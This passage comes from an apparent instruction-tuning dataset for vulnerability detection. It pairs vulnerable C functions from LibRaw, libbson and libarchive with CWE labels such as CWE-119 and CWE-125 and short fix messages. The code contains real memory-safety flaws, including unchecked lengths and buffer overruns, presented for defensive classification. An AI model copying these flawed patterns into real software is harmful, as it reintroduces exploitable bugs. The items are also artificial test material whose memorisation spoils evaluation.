LIBRAW_MOUNT_FixedLens;\n imgdata.lens.makernotes.CameraMount = LIBRAW_MOUNT_FixedLens;\n\t }\n\t }\n else if (tag == 0x0098)\t\t\t\t// contains lens data\n {\n for (i = 0; i < 4; i++)\n {\n NikonLensDataVersion = NikonLensDataVersion * 10 + fgetc(ifp) - '0';\n }\n switch (NikonLensDataVersion)\n {\n case 100: lenNikonLensData = 9; break;\n case 101:\n case 201:\t// encrypted, starting from v.201\n case 202:\n case 203: lenNikonLensData = 15; break;\n case 204: lenNikonLensData = 16; break;\n case 400: lenNikonLensData = 459; break;\n case 401: lenNikonLensData = 590; break;\n case 402: lenNikonLensData = 509; break;\n case 403: lenNikonLensData = 879; break;\n }\n if(lenNikonLensData)\n {\n table_buf = (uchar*)malloc(lenNikonLensData);\n fread(table_buf, lenNikonLensData, 1, ifp);\n if ((NikonLensDataVersion < 201) && lenNikonLensData)\n {\n processNikonLensData(table_buf, lenNikonLensData);\n free(table_buf);\n lenNikonLensData = 0;\n }\n }\n }\n\n else if (tag == 0xa7)\t\t\t\t\t// shutter count\n {\n NikonKey = fgetc(ifp) ^ fgetc(ifp) ^ fgetc(ifp) ^ fgetc(ifp);\n if ((NikonLensDataVersion > 200) && lenNikonLensData)\n {\n if (custom_serial)\n {\n ci = xlat[0][custom_serial];\n }\n else\n {\n ci = xlat[0][serial & 0xff];\n }\n cj = xlat[1][NikonKey];\n ck = 0x60;\n for (i = 0; i < lenNikonLensData; i++)\n table_buf[i] ^= (cj += ci * ck++);\n processNikonLensData(table_buf, lenNikonLensData);\n lenNikonLensData = 0;\n free(table_buf);\n }\n }\n else if (tag == 0x00a8)\t\t// contains flash data\n {\n \tfor (i = 0; i < 4; i++)\n {\n NikonFlashInfoVersion = NikonFlashInfoVersion * 10 + fgetc(ifp) - '0';\n }\n }\n\n else if (tag == 37 && (!iso_speed || iso_speed == 65535))\n {\n unsigned char cc;\n fread(&cc, 1, 1, ifp);\n iso_speed = (int)(100.0 * powf64(2.0, (double)(cc) / 12.0 - 5.0));\n break;\n }\n }\n\n else if (!strncmp(make, \"OLYMPUS\", 7))\n {\n int SubDirOffsetValid =\n strncmp (model, \"E-300\", 5) &&\n strncmp (model, \"E-330\", 5) &&\n strncmp (model, \"E-400\", 5) &&\n strncmp (model, \"E-500\", 5) &&\n strncmp (model, \"E-1\", 3);\n\n if ((tag == 0x2010) || (tag == 0x2020))\n {\n fseek(ifp, save - 4, SEEK_SET);\n fseek(ifp, base + get4(), SEEK_SET);\n parse_makernote_0xc634(base, tag, dng_writer);\n }\n if (!SubDirOffsetValid &&\n ((len > 4) ||\n ( ((type == 3) || (type == 8)) && (len > 2)) ||\n ( ((type == 4) || (type == 9)) && (len > 1)) || (type == 5) || (type > 9)))\n goto skip_Oly_broken_tags;\n\n switch (tag) {\n case 0x0207:\n case 0x20100100:\n {\n uchar sOlyID[8];\n unsigned long long OlyID;\n fread (sOlyID, MIN(len,7), 1, ifp);\n\t sOlyID[7] = 0;\n OlyID = sOlyID[0];\n i = 1;\n while (i < 7 && sOlyID[i])\n {\n OlyID = OlyID << 8 | sOlyID[i];\n i++;\n }\n setOlympusBodyFeatures(OlyID);\n }\n break;\n case 0x1002:\n imgdata.lens.makernotes.CurAp = powf64(2.0f, getreal(type)/2);\n break;\n case 0x20100102:\n stmread(imgdata.shootinginfo.InternalBodySerial, len, ifp);\n break;\n case 0x20100201:\n imgdata.lens.makernotes.LensID =\n (unsigned long long)fgetc(ifp)<<16 |\n (unsigned long long)(fgetc(ifp), fgetc(ifp))<<8 |\n (unsigned long long)fgetc(ifp);\n imgdata.lens.makernotes.LensMount = LIBRAW_MOUNT_FT;\n imgdata.lens.makernotes.LensFormat = LIBRAW_FORMAT_FT;\n if (((imgdata.lens.makernotes.LensID < 0x20000) ||\n (imgdata.lens.makernotes.LensID > 0x4ffff)) &&\n (imgdata.lens.makernotes.LensID & 0x10))\n {\n imgdata.lens.makernotes.LensMount = LIBRAW_MOUNT_mFT;\n }\n break;\n case 0x20100202:\n if ((!imgdata.lens.LensSerial[0]))\n stmread(imgdata.lens.LensSerial, len, ifp);\n break;\n case 0x20100203:\n stmread(imgdata.lens.makernotes.Lens,len, ifp);\n break;\n case 0x20100205:\n imgdata.lens.makernotes.MaxAp4MinFocal = powf64(sqrt(2.0f), get2() / 256.0f);\n break;\n case 0x20100206:\n imgdata.lens.makernotes.MaxAp4MaxFocal = powf64(sqrt(2.0f), get2() / 256.0f);\n break;\n case 0x20100207:\n imgdata.lens.makernotes.MinFocal = (float)get2();\n break;\n case 0x20100208:\n imgdata.lens.makernotes.MaxFocal = (float)get2();\n if (imgdata.lens.makernotes.MaxFocal > 1000.0f)\n imgdata.lens.makernotes.MaxFocal = imgdata.lens.makernotes.MinFocal;\n break;\n case 0x2010020a:\n imgdata.lens.makernotes.MaxAp4CurFocal = powf64(sqrt(2.0f), get2() / 256.0f);\n break;\n case 0x20100301:\n imgdata.lens.makernotes.TeleconverterID = fgetc(ifp) << 8;\n fgetc(ifp);\n imgdata.lens.makernotes.TeleconverterID =\n imgdata.lens.makernotes.TeleconverterID | fgetc(ifp);\n break;\n case 0x20100303:\n stmread(imgdata.lens.makernotes.Teleconverter, len, ifp);\n break;\n case 0x20100403:\n stmread(imgdata.lens.makernotes.Attachment,len, ifp);\n break;\n case 0x20200401:\n\t imgdata.other.FlashEC = getreal(type);\n\t break;\n }\n skip_Oly_broken_tags:;\n }\n\n else if (!strncmp(make, \"PENTAX\", 6) ||\n !strncmp(model, \"PENTAX\", 6) ||\n (!strncmp(make, \"SAMSUNG\", 7) && (dng_writer == CameraDNG)))\n {\n if (tag == 0x0005)\n {\n unique_id = get4();\n setPentaxBodyFeatures(unique_id);\n }\n else if (tag == 0x0013)\n {\n imgdata.lens.makernotes.CurAp = (float)get2()/10.0f;\n }\n else if (tag == 0x0014)\n {\n PentaxISO(get2());\n }\n else if (tag == 0x001d)\n {\n imgdata.lens.makernotes.CurFocal = (float)get4()/100.0f;\n }\n else if (tag == 0x003f)\n {\n imgdata.lens.makernotes.LensID = fgetc(ifp) << 8 | fgetc(ifp);\n }\n else if (tag == 0x004d)\n {\n if (type == 9) imgdata.other.FlashEC = getreal(type) / 256.0f;\n else imgdata.other.FlashEC = (float) ((signed short) fgetc(ifp)) / 6.0f;\n }\n else if (tag == 0x007e)\n {\n imgdata.color.linear_max[0] =\n imgdata.color.linear_max[1] =\n imgdata.color.linear_max[2] =\n imgdata.color.linear_max[3] = (long)(-1) * get4();\n }\n else if (tag == 0x0207)\n {\n\t if(len < 65535) // Safety belt\n PentaxLensInfo(imgdata.lens.makernotes.CamID, len);\n }\n else if (tag == 0x020d)\n {\n FORC4 imgdata.color.WB_Coeffs[LIBRAW_WBI_Daylight][c ^ (c >> 1)] = get2();\n }\n else if (tag == 0x020e)\n {\n FORC4 imgdata.color.WB_Coeffs[LIBRAW_WBI_Shade][c ^ (c >> 1)] = get2();\n }\n else if (tag == 0x020f)\n {\n FORC4 imgdata.color.WB_Coeffs[LIBRAW_WBI_Cloudy][c ^ (c >> 1)] = get2();\n }\n else if (tag == 0x0210)\n {\n FORC4 imgdata.color.WB_Coeffs[LIBRAW_WBI_Tungsten][c ^ (c >> 1)] = get2();\n }\n else if (tag == 0x0211)\n {\n FORC4 imgdata.color.WB_Coeffs[LIBRAW_WBI_FL_D][c ^ (c >> 1)] = get2();\n }\n else if (tag == 0x0212)\n {\n FORC4 imgdata.color.WB_Coeffs[LIBRAW_WBI_FL_N][c ^ (c >> 1)] = get2();\n }\n else if (tag == 0x0213)\n {\n FORC4 imgdata.color.WB_Coeffs[LIBRAW_WBI_FL_W][c ^ (c >> 1)] = get2();\n }\n else if (tag == 0x0214)\n {\n FORC4 imgdata.color.WB_Coeffs[LIBRAW_WBI_Flash][c ^ (c >> 1)] = get2();\n }\n else if (tag == 0x0221)\n {\n\t int nWB = get2();\n\t if(nWB<=sizeof(imgdata.color.WBCT_Coeffs)/sizeof(imgdata.color.WBCT_Coeffs[0]))\n\t for (int i = 0; i < nWB; i++)\n\t {\n\t\t imgdata.color.WBCT_Coeffs[i][0] = (unsigned)0xcfc6 - get2();\n\t\t fseek(ifp, 2, SEEK_CUR);\n\t\t imgdata.color.WBCT_Coeffs[i][1] = get2();\n\t\t imgdata.color.WBCT_Coeffs[i][2] = imgdata.color.WBCT_Coeffs[i][4] = 0x2000;\n\t\t imgdata.color.WBCT_Coeffs[i][3] = get2();\n \t}\n }\n else if (tag == 0x0215)\n {\n fseek (ifp, 16, SEEK_CUR);\n sprintf(imgdata.shootinginfo.InternalBodySerial, \"%d\", get4());\n }\n else if (tag == 0x0229)\n {\n stmread(imgdata.shootinginfo.BodySerial, len, ifp);\n }\n else if (tag == 0x022d)\n {\n\t fseek (ifp,2,SEEK_CUR);\n FORC4 imgdata.color.WB_Coeffs[LIBRAW_WBI_Daylight][c ^ (c >> 1)] = get2();\n\t getc(ifp);\n FORC4 imgdata.color.WB_Coeffs[LIBRAW_WBI_Shade][c ^ (c >> 1)] = get2();\n\t getc(ifp);\n FORC4 imgdata.color.WB_Coeffs[LIBRAW_WBI_Cloudy][c ^ (c >> 1)] = get2();\n\t getc(ifp);\n FORC4 imgdata.color.WB_Coeffs[LIBRAW_WBI_Tungsten][c ^ (c >> 1)] = get2();\n\t getc(ifp);\n FORC4 imgdata.color.WB_Coeffs[LIBRAW_WBI_FL_D][c ^ (c >> 1)] = get2();\n\t getc(ifp);\n FORC4 imgdata.color.WB_Coeffs[LIBRAW_WBI_FL_N][c ^ (c >> 1)] = get2();\n\t getc(ifp);\n FORC4 imgdata.color.WB_Coeffs[LIBRAW_WBI_FL_W][c ^ (c >> 1)] = get2();\n\t getc(ifp);\n FORC4 imgdata.color.WB_Coeffs[LIBRAW_WBI_Flash][c ^ (c >> 1)] = get2();\n\t getc(ifp);\n FORC4 imgdata.color.WB_Coeffs[LIBRAW_WBI_FL_L][c ^ (c >> 1)] = get2();\n }\n else if (tag == 0x0239)\t\t// Q-series lens info (LensInfoQ)\n {\n char LensInfo [20];\n fseek (ifp, 12, SEEK_CUR);\n stread(imgdata.lens.makernotes.Lens, 30, ifp);\n strcat(imgdata.lens.makernotes.Lens, \" \");\n stread(LensInfo, 20, ifp);\n strcat(imgdata.lens.makernotes.Lens, LensInfo);\n }\n }\n\n else if (!strncmp(make, \"SAMSUNG\", 7) &&\n (dng_writer == AdobeDNG))\n {\n if (tag == 0x0002)\n {\n if(get4() == 0x2000)\n {\n imgdata.lens.makernotes.CameraMount = LIBRAW_MOUNT_Samsung_NX;\n }\n else if (!strncmp(model, \"NX mini\", 7))\n {\n imgdata.lens.makernotes.CameraMount = LIBRAW_MOUNT_Samsung_NX_M;\n }\n else\n {\n imgdata.lens.makernotes.CameraMount = LIBRAW_MOUNT_FixedLens;\n imgdata.lens.makernotes.LensMount = LIBRAW_MOUNT_FixedLens;\n }\n }\n else if (tag == 0x0003)\n {\n imgdata.lens.makernotes.CamID = unique_id = get4();\n }\n else if (tag == 0xa003)\n {\n imgdata.lens.makernotes.LensID = get2();\n if (imgdata.lens.makernotes.LensID)\n imgdata.lens.makernotes.LensMount = LIBRAW_MOUNT_Samsung_NX;\n }\n else if (tag == 0xa005)\n {\n stmread(imgdata.lens.InternalLensSerial, len, ifp);\n }\n else if (tag == 0xa019)\n {\n imgdata.lens.makernotes.CurAp = getreal(type);\n }\n else if (tag == 0xa01a)\n {\n imgdata.lens.makernotes.FocalLengthIn35mmFormat = get4() / 10.0f;\n if (imgdata.lens.makernotes.FocalLengthIn35mmFormat < 10.0f)\n imgdata.lens.makernotes.FocalLengthIn35mmFormat *= 10.0f;\n }\n }\n\n else if (!strncasecmp(make, \"SONY\", 4) ||\n !strncasecmp(make, \"Konica\", 6) ||\n !strncasecmp(make, \"Minolta\", 7) ||\n (!strncasecmp(make, \"Hasselblad\", 10) &&\n (!strncasecmp(model, \"Stellar\", 7) ||\n !strncasecmp(model, \"Lunar\", 5) ||\n !strncasecmp(model, \"Lusso\", 5) ||\n !strncasecmp(model, \"HV\",2))))\n {\n ushort lid;\n\n if (tag == 0xb001)\t\t\t// Sony ModelID\n {\n unique_id = get2();\n setSonyBodyFeatures(unique_id);\n if (table_buf_0x9050_present)\n {\n process_Sony_0x9050(table_buf_0x9050, unique_id);\n free (table_buf_0x9050);\n table_buf_0x9050_present = 0;\n }\n if (table_buf_0x940c_present)\n {\n if (imgdata.lens.makernotes.CameraMount == LIBRAW_MOUNT_Sony_E)\n {\n process_Sony_0x940c(table_buf_0x940c);\n }\n free (table_buf_0x940c);\n table_buf_0x940c_present = 0;\n }\n }\n else if ((tag == 0x0010) &&\t\t\t\t\t// CameraInfo\n strncasecmp(model, \"DSLR-A100\", 9) &&\n strncasecmp(model, \"NEX-5C\", 6) &&\n !strncasecmp(make, \"SONY\", 4) &&\n ((len == 368) ||\t\t\t// a700\n (len == 5478) ||\t\t// a850, a900\n (len == 5506) ||\t\t// a200, a300, a350\n (len == 6118) ||\t\t// a230, a290, a330, a380, a390\n\n // a450, a500, a550, a560, a580\n // a33, a35, a55\n // NEX3, NEX5, NEX5C, NEXC3, VG10E\n (len == 15360))\n )\n {\n table_buf = (uchar*)malloc(len);\n fread(table_buf, len, 1, ifp);\n if (memcmp(table_buf, \"\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\", 8) &&\n memcmp(table_buf, \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\", 8))\n {\n switch (len) {\n case 368:\n case 5478:\n // a700, a850, a900: CameraInfo\n if (saneSonyCameraInfo(table_buf[0], table_buf[3], table_buf[2], table_buf[5], table_buf[4], table_buf[7]))\n {\n if (table_buf[0] | table_buf[3])\n imgdata.lens.makernotes.MinFocal =\n bcd2dec(table_buf[0]) * 100 + bcd2dec(table_buf[3]);\n if (table_buf[2] | table_buf[5])\n imgdata.lens.makernotes.MaxFocal =\n bcd2dec(table_buf[2]) * 100 + bcd2dec(table_buf[5]);\n if (table_buf[4])\n imgdata.lens.makernotes.MaxAp4MinFocal = bcd2dec(table_buf[4]) / 10.0f;\n if (table_buf[4])\n imgdata.lens.makernotes.MaxAp4MaxFocal = bcd2dec(table_buf[7]) / 10.0f;\n parseSonyLensFeatures(table_buf[1], table_buf[6]);\n }\n break;\n default:\n // CameraInfo2 & 3\n if (saneSonyCameraInfo(table_buf[1], table_buf[2], table_buf[3], table_buf[4], table_buf[5], table_buf[6]))\n {\n if (table_buf[1] | table_buf[2])\n imgdata.lens.makernotes.MinFocal =\n bcd2dec(table_buf[1]) * 100 + bcd2dec(table_buf[2]);\n if (table_buf[3] | table_buf[4])\n imgdata.lens.makernotes.MaxFocal =\n bcd2dec(table_buf[3]) * 100 + bcd2dec(table_buf[4]);\n if (table_buf[5])\n imgdata.lens.makernotes.MaxAp4MinFocal = bcd2dec(table_buf[5]) / 10.0f;\n if (table_buf[6])\n imgdata.lens.makernotes.MaxAp4MaxFocal = bcd2dec(table_buf[6]) / 10.0f;\n parseSonyLensFeatures(table_buf[0], table_buf[7]);\n }\n }\n }\n free(table_buf);\n }\n\n\t\telse if (tag == 0x0104)\n\t\t {\n\t\t imgdata.other.FlashEC = getreal(type);\n\t\t }\n\n else if (tag == 0x0105)\t\t\t\t\t// Teleconverter\n {\n imgdata.lens.makernotes.TeleconverterID = get2();\n }\n\n else if (tag == 0x0114 && len < 65535)\t\t\t\t\t// CameraSettings\n {\n table_buf = (uchar*)malloc(len);\n fread(table_buf, len, 1, ifp);\n switch (len) {\n case 280:\n case 364:\n case 332:\n // CameraSettings and CameraSettings2 are big endian\n if (table_buf[2] | table_buf[3])\n {\n lid = (((ushort)table_buf[2])<<8) |\n ((ushort)table_buf[3]);\n imgdata.lens.makernotes.CurAp =\n powf64(2.0f, ((float)lid/8.0f-1.0f)/2.0f);\n }\n break;\n case 1536:\n case 2048:\n // CameraSettings3 are little endian\n parseSonyLensType2(table_buf[1016], table_buf[1015]);\n if (imgdata.lens.makernotes.LensMount != LIBRAW_MOUNT_Canon_EF)\n {\n switch (table_buf[153]) {\n case 16: imgdata.lens.makernotes.LensMount = LIBRAW_MOUNT_Minolta_A; break;\n case 17: imgdata.lens.makernotes.LensMount = LIBRAW_MOUNT_Sony_E; break;\n }\n }\n break;\n }\n free(table_buf);\n }\n\n else if (tag == 0x9050 && len < 256000)\t\t// little endian\n {\n table_buf_0x9050 = (uchar*)malloc(len);\n table_buf_0x9050_present = 1;\n fread(table_buf_0x9050, len, 1, ifp);\n\n if (imgdata.lens.makernotes.CamID)\n {\n process_Sony_0x9050(table_buf_0x9050, imgdata.lens.makernotes.CamID);\n free (table_buf_0x9050);\n table_buf_0x9050_present = 0;\n }\n }\n\n else if (tag == 0x940c && len < 256000)\n {\n table_buf_0x940c = (uchar*)malloc(len);\n table_buf_0x940c_present = 1;\n fread(table_buf_0x940c, len, 1, ifp);\n if ((imgdata.lens.makernotes.CamID) &&\n (imgdata.lens.makernotes.CameraMount == LIBRAW_MOUNT_Sony_E))\n {\n process_Sony_0x940c(table_buf_0x940c);\n free(table_buf_0x940c);\n table_buf_0x940c_present = 0;\n }\n }\n\n else if (((tag == 0xb027) || (tag == 0x010c)) && (imgdata.lens.makernotes.LensID == -1))\n {\n imgdata.lens.makernotes.LensID = get4();\n if ((imgdata.lens.makernotes.LensID > 0x4900) &&\n (imgdata.lens.makernotes.LensID <= 0x5900))\n {\n imgdata.lens.makernotes.AdapterID = 0x4900;\n imgdata.lens.makernotes.LensID -= imgdata.lens.makernotes.AdapterID;\n imgdata.lens.makernotes.LensMount = LIBRAW_MOUNT_Sigma_X3F;\n strcpy(imgdata.lens.makernotes.Adapter, \"MC-11\");\n }\n\n else if ((imgdata.lens.makernotes.LensID > 0xEF00) &&\n (imgdata.lens.makernotes.LensID < 0xFFFF) &&\n (imgdata.lens.makernotes.LensID != 0xFF00))\n {\n imgdata.lens.makernotes.AdapterID = 0xEF00;\n imgdata.lens.makernotes.LensID -= imgdata.lens.makernotes.AdapterID;\n imgdata.lens.makernotes.LensMount = LIBRAW_MOUNT_Canon_EF;\n }\n if (tag == 0x010c) imgdata.lens.makernotes.CameraMount = LIBRAW_MOUNT_Minolta_A;\n }\n\n else if (tag == 0xb02a && len < 256000)\t// Sony LensSpec\n {\n table_buf = (uchar*)malloc(len);\n fread(table_buf, len, 1, ifp);\n if (saneSonyCameraInfo(table_buf[1], table_buf[2], table_buf[3], table_buf[4], table_buf[5], table_buf[6]))\n {\n if (table_buf[1] | table_buf[2])\n imgdata.lens.makernotes.MinFocal =\n bcd2dec(table_buf[1]) * 100 + bcd2dec(table_buf[2]);\n if (table_buf[3] | table_buf[4])\n imgdata.lens.makernotes.MaxFocal =\n bcd2dec(table_buf[3]) * 100 + bcd2dec(table_buf[4]);\n if (table_buf[5])\n imgdata.lens.makernotes.MaxAp4MinFocal = bcd2dec(table_buf[5]) / 10.0f;\n if (table_buf[6])\n imgdata.lens.makernotes.MaxAp4MaxFocal = bcd2dec(table_buf[6]) / 10.0f;\n parseSonyLensFeatures(table_buf[0], table_buf[7]);\n }\n free(table_buf);\n }\n }\n next:\n fseek (ifp, save, SEEK_SET);\n }\n quit:\n order = sorder;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'processCanonCameraInfo possible buffer overrun on damaged file'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: bson_iter_codewscope (const bson_iter_t *iter, /* IN */\n uint32_t *length, /* OUT */\n uint32_t *scope_len, /* OUT */\n const uint8_t **scope) /* OUT */\n{\n uint32_t len;\n\n BSON_ASSERT (iter);\n\n if (ITER_TYPE (iter) == BSON_TYPE_CODEWSCOPE) {\n if (length) {\n memcpy (&len, iter->raw + iter->d2, sizeof (len));\n *length = BSON_UINT32_FROM_LE (len) - 1;\n }\n\n memcpy (&len, iter->raw + iter->d4, sizeof (len));\n *scope_len = BSON_UINT32_FROM_LE (len);\n *scope = iter->raw + iter->d4;\n return (const char *) (iter->raw + iter->d3);\n }\n\n if (length) {\n *length = 0;\n }\n\n if (scope_len) {\n *scope_len = 0;\n }\n\n if (scope) {\n *scope = NULL;\n }\n\n return NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'CDRIVER-2269 Check for zero string length in codewscope'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: read_header(struct archive_read *a, struct archive_entry *entry,\n char head_type)\n{\n const void *h;\n const char *p, *endp;\n struct rar *rar;\n struct rar_header rar_header;\n struct rar_file_header file_header;\n int64_t header_size;\n unsigned filename_size, end;\n char *filename;\n char *strp;\n char packed_size[8];\n char unp_size[8];\n int ttime;\n struct archive_string_conv *sconv, *fn_sconv;\n unsigned long crc32_val;\n int ret = (ARCHIVE_OK), ret2;\n\n rar = (struct rar *)(a->format->data);\n\n /* Setup a string conversion object for non-rar-unicode filenames. */\n sconv = rar->opt_sconv;\n if (sconv == NULL) {\n if (!rar->init_default_conversion) {\n rar->sconv_default =\n archive_string_default_conversion_for_read(\n &(a->archive));\n rar->init_default_conversion = 1;\n }\n sconv = rar->sconv_default;\n }\n\n\n if ((h = __archive_read_ahead(a, 7, NULL)) == NULL)\n return (ARCHIVE_FATAL);\n p = h;\n memcpy(&rar_header, p, sizeof(rar_header));\n rar->file_flags = archive_le16dec(rar_header.flags);\n header_size = archive_le16dec(rar_header.size);\n if (header_size < (int64_t)sizeof(file_header) + 7) {\n archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,\n \"Invalid header size\");\n return (ARCHIVE_FATAL);\n }\n crc32_val = crc32(0, (const unsigned char *)p + 2, 7 - 2);\n __archive_read_consume(a, 7);\n\n if (!(rar->file_flags & FHD_SOLID))\n {\n rar->compression_method = 0;\n rar->packed_size = 0;\n rar->unp_size = 0;\n rar->mtime = 0;\n rar->ctime = 0;\n rar->atime = 0;\n rar->arctime = 0;\n rar->mode = 0;\n memset(&rar->salt, 0, sizeof(rar->salt));\n rar->atime = 0;\n rar->ansec = 0;\n rar->ctime = 0;\n rar->cnsec = 0;\n rar->mtime = 0;\n rar->mnsec = 0;\n rar->arctime = 0;\n rar->arcnsec = 0;\n }\n else\n {\n archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,\n \"RAR solid archive support unavailable.\");\n return (ARCHIVE_FATAL);\n }\n\n if ((h = __archive_read_ahead(a, (size_t)header_size - 7, NULL)) == NULL)\n return (ARCHIVE_FATAL);\n\n /* File Header CRC check. */\n crc32_val = crc32(crc32_val, h, (unsigned)(header_size - 7));\n if ((crc32_val & 0xffff) != archive_le16dec(rar_header.crc)) {\n archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,\n \"Header CRC error\");\n return (ARCHIVE_FATAL);\n }\n /* If no CRC error, Go on parsing File Header. */\n p = h;\n endp = p + header_size - 7;\n memcpy(&file_header, p, sizeof(file_header));\n p += sizeof(file_header);\n\n rar->compression_method = file_header.method;\n\n ttime = archive_le32dec(file_header.file_time);\n rar->mtime = get_time(ttime);\n\n rar->file_crc = archive_le32dec(file_header.file_crc);\n\n if (rar->file_flags & FHD_PASSWORD)\n {\n\tarchive_entry_set_is_data_encrypted(entry, 1);\n\trar->has_encrypted_entries = 1;\n archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,\n \"RAR encryption support unavailable.\");\n /* Since it is only the data part itself that is encrypted we can at least\n extract information about the currently processed entry and don't need\n to return ARCHIVE_FATAL here. */\n /*return (ARCHIVE_FATAL);*/\n }\n\n if (rar->file_flags & FHD_LARGE)\n {\n memcpy(packed_size, file_header.pack_size, 4);\n memcpy(packed_size + 4, p, 4); /* High pack size */\n p += 4;\n memcpy(unp_size, file_header.unp_size, 4);\n memcpy(unp_size + 4, p, 4); /* High unpack size */\n p += 4;\n rar->packed_size = archive_le64dec(&packed_size);\n rar->unp_size = archive_le64dec(&unp_size);\n }\n else\n {\n rar->packed_size = archive_le32dec(file_header.pack_size);\n rar->unp_size = archive_le32dec(file_header.unp_size);\n }\n\n if (rar->packed_size < 0 || rar->unp_size < 0)\n {\n archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,\n \"Invalid sizes specified.\");\n return (ARCHIVE_FATAL);\n }\n\n rar->bytes_remaining = rar->packed_size;\n\n /* TODO: RARv3 subblocks contain comments. For now the complete block is\n * consumed at the end.\n */\n if (head_type == NEWSUB_HEAD) {\n size_t distance = p - (const char *)h;\n header_size += rar->packed_size;\n /* Make sure we have the extended data. */\n if ((h = __archive_read_ahead(a, (size_t)header_size - 7, NULL)) == NULL)\n return (ARCHIVE_FATAL);\n p = h;\n endp = p + header_size - 7;\n p += distance;\n }\n\n filename_size = archive_le16dec(file_header.name_size);\n if (p + filename_size > endp) {\n archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,\n \"Invalid filename size\");\n return (ARCHIVE_FATAL);\n }\n if (rar->filename_allocated < filename_size * 2 + 2) {\n char *newptr;\n size_t newsize = filename_size * 2 + 2;\n newptr = realloc(rar->filename, newsize);\n if (newptr == NULL) {\n archive_set_error(&a->archive, ENOMEM,\n \"Couldn't allocate memory.\");\n return (ARCHIVE_FATAL);\n }\n rar->filename = newptr;\n rar->filename_allocated = newsize;\n }\n filename = rar->filename;\n memcpy(filename, p, filename_size);\n filename[filename_size] = '\\0';\n if (rar->file_flags & FHD_UNICODE)\n {\n if (filename_size != strlen(filename))\n {\n unsigned char highbyte, flagbits, flagbyte;\n unsigned fn_end, offset;\n\n end = filename_size;\n fn_end = filename_size * 2;\n filename_size = 0;\n offset = (unsigned)strlen(filename) + 1;\n highbyte = *(p + offset++);\n flagbits = 0;\n flagbyte = 0;\n while (offset < end && filename_size < fn_end)\n {\n if (!flagbits)\n {\n flagbyte = *(p + offset++);\n flagbits = 8;\n }\n\n flagbits -= 2;\n switch((flagbyte >> flagbits) & 3)\n {\n case 0:\n filename[filename_size++] = '\\0';\n filename[filename_size++] = *(p + offset++);\n break;\n case 1:\n filename[filename_size++] = highbyte;\n filename[filename_size++] = *(p + offset++);\n break;\n case 2:\n filename[filename_size++] = *(p + offset + 1);\n filename[filename_size++] = *(p + offset);\n offset += 2;\n break;\n case 3:\n {\n char extra, high;\n uint8_t length = *(p + offset++);\n\n if (length & 0x80) {\n extra = *(p + offset++);\n high = (char)highbyte;\n } else\n extra = high = 0;\n length = (length & 0x7f) + 2;\n while (length && filename_size < fn_end) {\n unsigned cp = filename_size >> 1;\n filename[filename_size++] = high;\n filename[filename_size++] = p[cp] + extra;\n length--;\n }\n }\n break;\n }\n }\n if (filename_size > fn_end) {\n archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,\n \"Invalid filename\");\n return (ARCHIVE_FATAL);\n }\n filename[filename_size++] = '\\0';\n filename[filename_size++] = '\\0';\n\n /* Decoded unicode form is UTF-16BE, so we have to update a string\n * conversion object for it. */\n if (rar->sconv_utf16be == NULL) {\n rar->sconv_utf16be = archive_string_conversion_from_charset(\n &a->archive, \"UTF-16BE\", 1);\n if (rar->sconv_utf16be == NULL)\n return (ARCHIVE_FATAL);\n }\n fn_sconv = rar->sconv_utf16be;\n\n strp = filename;\n while (memcmp(strp, \"\\x00\\x00\", 2))\n {\n if (!memcmp(strp, \"\\x00\\\\\", 2))\n *(strp + 1) = '/';\n strp += 2;\n }\n p += offset;\n } else {\n /*\n * If FHD_UNICODE is set but no unicode data, this file name form\n * is UTF-8, so we have to update a string conversion object for\n * it accordingly.\n */\n if (rar->sconv_utf8 == NULL) {\n rar->sconv_utf8 = archive_string_conversion_from_charset(\n &a->archive, \"UTF-8\", 1);\n if (rar->sconv_utf8 == NULL)\n return (ARCHIVE_FATAL);\n }\n fn_sconv = rar->sconv_utf8;\n while ((strp = strchr(filename, '\\\\')) != NULL)\n *strp = '/';\n p += filename_size;\n }\n }\n else\n {\n fn_sconv = sconv;\n while ((strp = strchr(filename, '\\\\')) != NULL)\n *strp = '/';\n p += filename_size;\n }\n\n /* Split file in multivolume RAR. No more need to process header. */\n if (rar->filename_save &&\n filename_size == rar->filename_save_size &&\n !memcmp(rar->filename, rar->filename_save, filename_size + 1))\n {\n __archive_read_consume(a, header_size - 7);\n rar->cursor++;\n if (rar->cursor >= rar->nodes)\n {\n rar->nodes++;\n if ((rar->dbo =\n realloc(rar->dbo, sizeof(*rar->dbo) * rar->nodes)) == NULL)\n {\n archive_set_error(&a->archive, ENOMEM, \"Couldn't allocate memory.\");\n return (ARCHIVE_FATAL);\n }\n rar->dbo[rar->cursor].header_size = header_size;\n rar->dbo[rar->cursor].start_offset = -1;\n rar->dbo[rar->cursor].end_offset = -1;\n }\n if (rar->dbo[rar->cursor].start_offset < 0)\n {\n rar->dbo[rar->cursor].start_offset = a->filter->position;\n rar->dbo[rar->cursor].end_offset = rar->dbo[rar->cursor].start_offset +\n rar->packed_size;\n }\n return ret;\n }\n\n rar->filename_save = (char*)realloc(rar->filename_save,\n filename_size + 1);\n memcpy(rar->filename_save, rar->filename, filename_size + 1);\n rar->filename_save_size = filename_size;\n\n /* Set info for seeking */\n free(rar->dbo);\n if ((rar->dbo = calloc(1, sizeof(*rar->dbo))) == NULL)\n {\n archive_set_error(&a->archive, ENOMEM, \"Couldn't allocate memory.\");\n return (ARCHIVE_FATAL);\n }\n rar->dbo[0].header_size = 